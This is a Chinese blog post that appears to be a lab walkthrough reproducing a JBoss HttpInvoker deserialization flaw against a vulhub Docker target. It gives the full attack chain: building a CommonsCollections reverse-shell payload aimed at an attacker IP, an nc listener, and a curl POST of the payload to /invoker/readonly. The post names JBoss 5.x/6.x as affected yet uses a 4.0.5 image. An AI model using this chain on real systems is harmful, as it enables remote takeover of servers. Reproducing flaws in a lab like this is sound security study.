原理

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

影响版本

JBoss AS 5.x和6.x版

漏洞复现

攻击机:xx.xx.xx.xx
靶机:x.x.x.x
1.靶机环境搭建
用docker拉取靶机镜像

docker pull vulhub/jboss:as-4.0.5

创建启动靶机容器

docker run -d -p 9700:8000 vulhub/jboss:as-4.0.5
注:9700为外部映射端口,可自定义
2.漏洞检测利用
反弹shell
exp工具下载:https://github.com/joaomatosf/JavaDeserH2HC
编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap xx.xx.xx.xx:9963
注:xx.xx.xx.xx是攻击者IP,端口为反弹shell端口

攻击机监听9963端口

nc -lvnp 9963

ReverseShellCommonsCollectionsHashMap.ser发送到靶机

curl http://x.x.x.x:9700/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
--data-binary 以二进制的方式post数据

942.jpg
反弹shell成功
4939.jpg

最后修改:2021 年 11 月 01 日 08 : 53 AM
如果觉得我的文章对你有用,请随意赞赏